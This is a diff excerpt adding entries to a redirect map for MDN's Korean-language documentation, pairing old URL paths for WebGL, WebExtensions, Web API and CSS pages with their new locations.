+/ko/docs/Learn/WebGL/By_example/Simple_color_animation	/ko/docs/Web/API/WebGL_API/By_example/Simple_color_animation
+/ko/docs/Learn/WebGL/By_example/Textures_from_code	/ko/docs/Web/API/WebGL_API/By_example/Textures_from_code
+/ko/docs/Linux_Build_Prerequisites	/ko/docs/Mozilla/Developer_guide/Build_Documentation/Linux_Build_Prerequisites
+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0	/ko/docs/MDN/Community
+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0/Conversations	/ko/docs/MDN/Community/Conversations
+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0/Roles	/ko/docs/MDN/Community/Roles
+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0/Roles/Admins	/ko/docs/MDN/Community/Roles/Admins
+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0/Roles/Localization_driver_role	/ko/docs/MDN/Community/Roles/Localization_driver_role
+/ko/docs/MDN/%ED%94%BC%EB%93%9C%EB%B0%B1	/ko/docs/MDN/Contribute/Feedback
+/ko/docs/MDN/Contribute/Content	/ko/docs/MDN/Guidelines
+/ko/docs/MDN/Contribute/Content/Best_practices	/ko/docs/MDN/Guidelines/Best_practices
+/ko/docs/MDN/Contribute/Content/Style_guide	/ko/docs/MDN/Guidelines/Style_guide
+/ko/docs/MDN/Contribute/Editor	/ko/docs/MDN/Editor
+/ko/docs/MDN/Contribute/Editor/Links	/ko/docs/MDN/Editor/Links
+/ko/docs/MDN/Contribute/Guidelines/Code_guidelines	/ko/docs/MDN/Guidelines/Code_guidelines
+/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS	/ko/docs/MDN/Guidelines/Code_guidelines/CSS
+/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/Code_guidelines	/ko/docs/MDN/Guidelines/Code_guidelines/Code_guidelines
+/ko/docs/MDN/Contribute/Structures	/ko/docs/MDN/Structures
+/ko/docs/MDN/Contribute/Structures/API_references	/ko/docs/MDN/Structures/API_references
+/ko/docs/MDN/Contribute/Structures/API_references/API_reference_sidebars	/ko/docs/MDN/Structures/API_references/API_reference_sidebars
+/ko/docs/MDN/Contribute/Structures/Compatibility_tables	/ko/docs/MDN/Structures/Compatibility_tables
+/ko/docs/MDN/Contribute/Structures/Macros	/ko/docs/MDN/Structures/Macros
+/ko/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros	/ko/docs/MDN/Structures/Macros/Commonly-used_macros
+/ko/docs/MDN/Contribute/Tools	/ko/docs/MDN/Tools
+/ko/docs/MDN/Contribute/Tools/%ED%8E%98%EC%9D%B4%EC%A7%80_%EC%9E%AC%EC%83%9D%EC%84%B1	/ko/docs/MDN/Tools/%ED%8E%98%EC%9D%B4%EC%A7%80_%EC%9E%AC%EC%83%9D%EC%84%B1
+/ko/docs/MDN/Contribute/Tools/KumaScript	/ko/docs/MDN/Tools/KumaScript
+/ko/docs/MDN/Contribute/Tools/KumaScript/Troubleshooting	/ko/docs/MDN/Tools/KumaScript/Troubleshooting
+/ko/docs/MDN/Getting_started	/ko/docs/MDN/Contribute/Getting_started
+/ko/docs/MathML	/ko/docs/Web/MathML
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4	/ko/docs/Mozilla/Add-ons
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/AMO/Policy/Featured	https://extensionworkshop.com/documentation/publish/recommended-extensions/
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/Listing	https://extensionworkshop.com/documentation/develop/create-an-appealing-listing/
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions	/ko/docs/Mozilla/Add-ons/WebExtensions
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API	/ko/docs/Mozilla/Add-ons/WebExtensions/API
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/browsingData	/ko/docs/Mozilla/Add-ons/WebExtensions/API/browsingData
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contentScripts	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/ContextType	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/create	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/create
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/getTargetElement	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/onShown	/ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/pageAction	/ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/pageAction/show	/ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/show
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea/get	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea/set	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/local	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/local
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/sync	/ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/sync
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs	/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs/create	/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs/insertCSS	/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/webRequest	/ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/webRequest/onBeforeRequest	/ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Anatomy_of_a_WebExtension	/ko/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Content_scripts	/ko/docs/Mozilla/Add-ons/WebExtensions/Content_scripts
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Examples	/ko/docs/Mozilla/Add-ons/WebExtensions/Examples
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Package_your_extension_	https://extensionworkshop.com/documentation/publish/package-your-extension/
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Porting_a_Google_Chrome_extension	https://extensionworkshop.com/documentation/develop/porting-a-google-chrome-extension/
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Prerequisites	/ko/docs/Mozilla/Add-ons/WebExtensions/Prerequisites
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Temporary_Installation_in_Firefox	https://extensionworkshop.com/documentation/develop/temporary-installation-in-firefox/
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/User_actions	/ko/docs/Mozilla/Add-ons/WebExtensions/User_actions
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/What_are_WebExtensions	/ko/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Your_first_WebExtension	/ko/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Your_second_WebExtension	/ko/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json	/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json/content_scripts	/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json/page_action	/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/user_interface	/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface
+/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/user_interface/Page_actions	/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
+/ko/docs/Mozilla/Developer_guide/Source_Code/Download_Mozilla_Source_Code	/ko/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives
+/ko/docs/Mozilla_Build_FAQ	/ko/docs/Mozilla/Developer_guide/Mozilla_Build_FAQ
+/ko/docs/Mozilla_Quirks_Mode_Behavior	/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
+/ko/docs/Mozilla_Source_Code_(HTTP_FTP)	/ko/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives
+/ko/docs/New_in_JavaScript_1.6	/ko/docs/Web/JavaScript/New_in_JavaScript/1.6
+/ko/docs/New_in_JavaScript_1.7	/ko/docs/Web/JavaScript/New_in_JavaScript/1.7
+/ko/docs/New_in_JavaScript_1.8	/ko/docs/Web/JavaScript/New_in_JavaScript/1.8
+/ko/docs/Online_and_offline_events	/ko/docs/Web/API/NavigatorOnLine/Online_and_offline_events
+/ko/docs/Places:Accessing_Bookmarks	/ko/docs/Places/Accessing_Bookmarks
+/ko/docs/Places:Custom_Containers	/ko/docs/Places/Custom_Containers
+/ko/docs/Places:Instantiating_Views	/ko/docs/Places/Instantiating_Views
+/ko/docs/Places:Query_System	/ko/docs/Places/Query_System
+/ko/docs/Places:Views	/ko/docs/Places/Views
+/ko/docs/SVG	/ko/docs/Web/SVG
+/ko/docs/SVG/Tutorial	/ko/docs/Web/SVG/Tutorial
+/ko/docs/SVG:Tutorial	/ko/docs/Web/SVG/Tutorial
+/ko/docs/SVG_In_HTML_Introduction	/ko/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction
+/ko/docs/Security/CSP/Using_Content_Security_Policy	/ko/docs/Web/HTTP/CSP
+/ko/docs/Setting_HTTP_request_headers	/ko/docs/XPCOM/Setting_HTTP_request_headers
+/ko/docs/Simple_Firefox_build	/ko/docs/Mozilla/Developer_guide/Build_Documentation/Simple_Firefox_build
+/ko/docs/Simple_Thunderbird_build	/ko/docs/Mozilla/Developer_guide/Build_Documentation/Simple_Thunderbird_build
+/ko/docs/The_Importance_of_Correct_HTML_Commenting	/ko/docs/Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments
+/ko/docs/The_Thread_Manager	/ko/docs/XPCOM/The_Thread_Manager
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Introduction	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Basic_Example	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Introduction	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:JavaScript_XSLT_Bindings	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings
+/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Setting_Parameters	/ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters
+/ko/docs/Toolkit_API/Official_References	/en-US/docs/Template:Toolkit_API_Official_References
+/ko/docs/Toolkit_API:Official_References	/en-US/docs/Template:Toolkit_API_Official_References
+/ko/docs/Tools/Debugger/How_to	/ko/docs/Tools/How_to
+/ko/docs/Tools/Debugger/How_to/Open_the_debugger	/ko/docs/Tools/How_to/Open_the_debugger
+/ko/docs/Tools/Debugger/How_to/Search	/ko/docs/Tools/How_to/Search
+/ko/docs/Tools/Debugger/How_to/Set_a_breakpoint	/ko/docs/Tools/How_to/Set_a_breakpoint
+/ko/docs/Transforming_XML_with_XSLT	/ko/docs/Web/XSLT/Transforming_XML_with_XSLT
+/ko/docs/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference	/ko/docs/Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+/ko/docs/Transforming_XML_with_XSLT:The_Netscape_XSLT_XPath_Reference	/ko/docs/Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+/ko/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces	/ko/docs/Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces
+/ko/docs/Using_JSON_in_Firefox	/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON
+/ko/docs/Using_URL_values_for_the_cursor_property	/ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property
+/ko/docs/Using_URL_values_for_the_cursor_property-redirect-1	/ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property
+/ko/docs/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations	/ko/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+/ko/docs/Web/API/AudioBufferSourceNode/stop	/ko/docs/Web/API/AudioScheduledSourceNode/stop
+/ko/docs/Web/API/Boolean	/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean
+/ko/docs/Web/API/Canvas_API/%EC%BA%94%EB%B2%84%EC%8A%A4_%ED%8A%9C%ED%86%A0%EB%A6%AC%EC%96%BC	/ko/docs/Web/HTML/Canvas/Tutorial
+/ko/docs/Web/API/Document/activeElement	/ko/docs/Web/API/DocumentOrShadowRoot/activeElement
+/ko/docs/Web/API/Document/defaultView/popstate_event	/ko/docs/Web/API/Window/popstate_event
+/ko/docs/Web/API/Document/defaultView/resize_event	/ko/docs/Web/API/Window/resize_event
+/ko/docs/Web/API/Document/drag_%EC%9D%B4%EB%B2%A4%ED%8A%B8	/ko/docs/Web/API/Document/drag_event
+/ko/docs/Web/API/Document_Object_Model/%EC%98%88%EC%A0%9C	/ko/docs/Web/API/Document_Object_Model/Examples
+/ko/docs/Web/API/Document_Object_Model/Introduction	/ko/docs/Web/API/Document_Object_Model/%EC%86%8C%EA%B0%9C
+/ko/docs/Web/API/Document_Object_Model/Preface	/ko/docs/Web/API/Document_Object_Model
+/ko/docs/Web/API/Element.clientHeight	/ko/docs/Web/API/Element/clientHeight
+/ko/docs/Web/API/Element.getAttribute	/ko/docs/Web/API/Element/getAttribute
+/ko/docs/Web/API/Element/childNodes	/ko/docs/Web/API/Node/childNodes
+/ko/docs/Web/API/Element/firstChild	/ko/docs/Web/API/Node/firstChild
+/ko/docs/Web/API/FileReader.result	/ko/docs/Web/API/FileReader/result
+/ko/docs/Web/API/Navigator.battery	/ko/docs/Web/API/Navigator/battery
+/ko/docs/Web/API/Navigator.battery/window.navigator.battery	/ko/docs/Web/API/Navigator/battery
+/ko/docs/Web/API/Navigator.connection/window.navigator.connection	/ko/docs/Web/API/NetworkInformation/connection
+/ko/docs/Web/API/NetworkInformation.connection	/ko/docs/Web/API/NetworkInformation/connection
+/ko/docs/Web/API/NetworkInformation.connection/window.navigator.connection	/ko/docs/Web/API/NetworkInformation/connection
+/ko/docs/Web/API/Notification.permission	/ko/docs/Web/API/Notification/permission
+/ko/docs/Web/API/Position	/ko/docs/Web/API/GeolocationPosition
+/ko/docs/Web/API/RandomSource	/ko/docs/Web/API/Crypto/getRandomValues
+/ko/docs/Web/API/RandomSource/getRandomValues	/ko/docs/Web/API/Crypto/getRandomValues
+/ko/docs/Web/API/Screen.lockOrientation	/ko/docs/Web/API/Screen/lockOrientation
+/ko/docs/Web/API/Screen.lockOrientation/window.screen.lockOrientation	/ko/docs/Web/API/Screen/lockOrientation
+/ko/docs/Web/API/Screen.onorientationchange/window.screen.onorientationchange	/ko/docs/Web/API/Screen.onorientationchange
+/ko/docs/Web/API/Screen.orientation	/ko/docs/Web/API/Screen/orientation
+/ko/docs/Web/API/Screen.orientation/window.screen.orientation	/ko/docs/Web/API/Screen/orientation
+/ko/docs/Web/API/WebGL_API/Adding_2D_content_to_a_WebGL_context	/ko/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+/ko/docs/Web/API/WebGL_API/Animating_objects_with_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+/ko/docs/Web/API/WebGL_API/Animating_textures_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+/ko/docs/Web/API/WebGL_API/Creating_3D_objects_using_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+/ko/docs/Web/API/WebGL_API/Getting_started_with_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/ko/docs/Web/API/WebGL_API/Lighting_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+/ko/docs/Web/API/WebGL_API/Using_shaders_to_apply_color_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+/ko/docs/Web/API/WebGL_API/Using_textures_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+/ko/docs/Web/API/WindowBase64	/ko/docs/Web/API/WindowOrWorkerGlobalScope
+/ko/docs/Web/API/WindowTimers	/ko/docs/Web/API/WindowOrWorkerGlobalScope
+/ko/docs/Web/API/document.importNode	/ko/docs/Web/API/Document/importNode
+/ko/docs/Web/API/element-temp	/ko/docs/Web/API/Element
+/ko/docs/Web/API/window.navigator.battery	/ko/docs/Web/API/Navigator/battery
+/ko/docs/Web/API/window.navigator.connection	/ko/docs/Web/API/NetworkInformation/connection
+/ko/docs/Web/API/window.navigator.mozMobileMessage	/ko/docs/Web/API/Navigator/mozMobileMessage
+/ko/docs/Web/API/window.navigator.mozNotification	/ko/docs/Web/API/Navigator/mozNotification
+/ko/docs/Web/API/window.navigator.mozSms	/ko/docs/Web/API/Navigator/mozSms
+/ko/docs/Web/API/window.screen.lockOrientation	/ko/docs/Web/API/Screen/lockOrientation
+/ko/docs/Web/API/window.screen.onorientationchange	/ko/docs/Web/API/Screen.onorientationchange
+/ko/docs/Web/API/window.screen.orientation	/ko/docs/Web/API/Screen/orientation
+/ko/docs/Web/API/window.screen.unlockOrientation	/ko/docs/Web/API/Screen/unlockOrientation
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0	/en-US/docs/Learn/CSS/First_steps
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%82%B4%EC%9A%A9%EB%AC%BC	/ko/docs/Learn/CSS/Howto/Generated_content
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%89%EC%83%81	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%84%A4%EB%A0%89%ED%84%B0	/en-US/docs/Learn/CSS/Building_blocks/Selectors
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%95%8C%EA%B8%B0_%EC%89%AC%EC%9A%B4_CSS	/ko/docs/Learn/CSS/Introduction_to_CSS/Syntax#구문_그_너머_읽기_편한_CSS
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%99%9C_CSS%EB%A5%BC_%EC%82%AC%EC%9A%A9%ED%95%98%EB%82%98	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS%EB%9E%80	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS_%EB%8F%99%EC%9E%91_%EC%9B%90%EB%A6%AC	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/CSS_Background_and_Borders	/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders
+/ko/docs/Web/CSS/CSS_Colors	/ko/docs/Web/CSS/CSS_Color
+/ko/docs/Web/CSS/CSS_Compositing_and_Blending	/ko/docs/Web/CSS/Compositing_and_Blending
+/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes	/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EB%8B%A4%EB%A5%B8_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83_%EB%B0%A9%EB%B2%95%EA%B3%BC%EC%9D%98_%EA%B4%80%EA%B3%84	/ko/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout
+/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EC%9D%98_%EA%B8%B0%EB%B3%B8_%EA%B0%9C%EB%85%90	/ko/docs/Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout
+/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%ED%85%9C%ED%94%8C%EB%A6%BF_%EC%98%81%EC%97%AD	/ko/docs/Web/CSS/CSS_Grid_Layout/Grid_template_areas
+/ko/docs/Web/CSS/CSS_Grid_Layout/%EC%9D%B4%EB%A6%84%EC%9D%B4_%EC%A3%BC%EC%96%B4%EC%A7%84_%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%9D%BC%EC%9D%B8%EC%9D%84_%EC%9D%B4%EC%9A%A9%ED%95%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83	/ko/docs/Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines
+/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_%EA%B7%B8%EB%A6%AC%EB%93%9C%EC%9D%98_%EB%9D%BC%EC%9D%B8%EC%9D%84_%EA%B8%B0%EC%A4%80%EC%9C%BC%EB%A1%9C_%ED%95%9C_%EC%95%84%EC%9D%B4%ED%85%9C_%EB%B0%B0%EC%B9%98	/ko/docs/Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid
+/ko/docs/Web/CSS/CSS_Reference	/ko/docs/Web/CSS/Reference
+/ko/docs/Web/CSS/CSS_Reference/Property_Template	/ko/docs/Web/CSS/Reference/Property_Template
+/ko/docs/Web/CSS/CSS_User_Interface	/ko/docs/Web/CSS/CSS_Basic_User_Interface
+/ko/docs/Web/CSS/Getting_Started	/ko/docs/CSS/시작하기
+/ko/docs/Web/CSS/Getting_Started/Boxes	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90
+/ko/docs/Web/CSS/Getting_Started/Cascading_and_inheritance	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D
+/ko/docs/Web/CSS/Getting_Started/Color	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/Web/CSS/Getting_Started/Content	/ko/docs/Learn/CSS/Howto/Generated_content
+/ko/docs/Web/CSS/Getting_Started/How_CSS_works	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/Getting_Started/Layout	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98
+/ko/docs/Web/CSS/Getting_Started/Lists	/ko/docs/Web/CSS/시작하기/리스트
+/ko/docs/Web/CSS/Getting_Started/Media	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4
+/ko/docs/Web/CSS/Getting_Started/Readable_CSS	/ko/docs/Web/CSS/시작하기/알기_쉬운_CSS
+/ko/docs/Web/CSS/Getting_Started/Selectors	/ko/docs/Web/CSS/시작하기/설렉터
+/ko/docs/Web/CSS/Getting_Started/Tables	/ko/docs/Web/CSS/시작하기/테이블
+/ko/docs/Web/CSS/Getting_Started/Text_styles	/ko/docs/Web/CSS/시작하기/텍스트_스타일
+/ko/docs/Web/CSS/Getting_Started/What_is_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/Getting_Started/Why_use_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Web/CSS/Scaling_background_images	/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images
+/ko/docs/Web/CSS/Understanding_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index
+/ko/docs/Web/CSS/Understanding_z-index/Adding_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+/ko/docs/Web/CSS/Understanding_z-index/Stacking_and_float	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_2	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_3	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+/ko/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
